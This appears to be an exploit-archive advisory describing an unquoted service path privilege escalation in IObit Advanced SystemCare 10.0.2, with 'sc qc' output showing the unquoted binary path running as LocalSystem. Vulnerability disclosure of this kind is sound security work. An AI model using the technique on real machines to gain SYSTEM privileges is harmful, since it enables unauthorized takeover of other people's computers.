33 lines
No EOL
1.5 KiB
Text
33 lines
No EOL
1.5 KiB
Text
#########################################################################
|
|
# Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation
|
|
# Date: 19/10/2016
|
|
# Author: Ashiyane Digital Security Team
|
|
# Vendor Homepage: http://www.iobit.com/en/index.php
|
|
# Software Link: http://www.iobit.com/en/advancedsystemcarefree.php#
|
|
# version : 10.0.2 (Latest)
|
|
# Tested on: Windows 7
|
|
##########################################################################
|
|
|
|
IObit Advanced SystemCare installs a service with an unquoted service path
|
|
To properly exploit this vulnerability, the local attacker must insert
|
|
an executable file in the path of the service.
|
|
Upon service restart or system reboot, the malicious code will be run
|
|
with elevated privileges.
|
|
-------------------------------------------
|
|
C:\>sc qc AdvancedSystemCareService10
|
|
[SC] QueryServiceConfig SUCCESS
|
|
|
|
SERVICE_NAME: AdvancedSystemCareService10
|
|
TYPE : 10 WIN32_OWN_PROCESS
|
|
START_TYPE : 2 AUTO_START
|
|
ERROR_CONTROL : 1 NORMAL
|
|
BINARY_PATH_NAME : C:\Program Files\IObit\Advanced SystemCare\ASCService.exe
|
|
LOAD_ORDER_GROUP : System Reserved
|
|
TAG : 1
|
|
DISPLAY_NAME : Advanced SystemCare Service 10
|
|
DEPENDENCIES :
|
|
SERVICE_START_NAME : LocalSystem
|
|
################################################
|
|
######### Ashiyane Digital Security Team ############
|
|
########## exploit by: Amir.ght #####################
|
|
################################################ |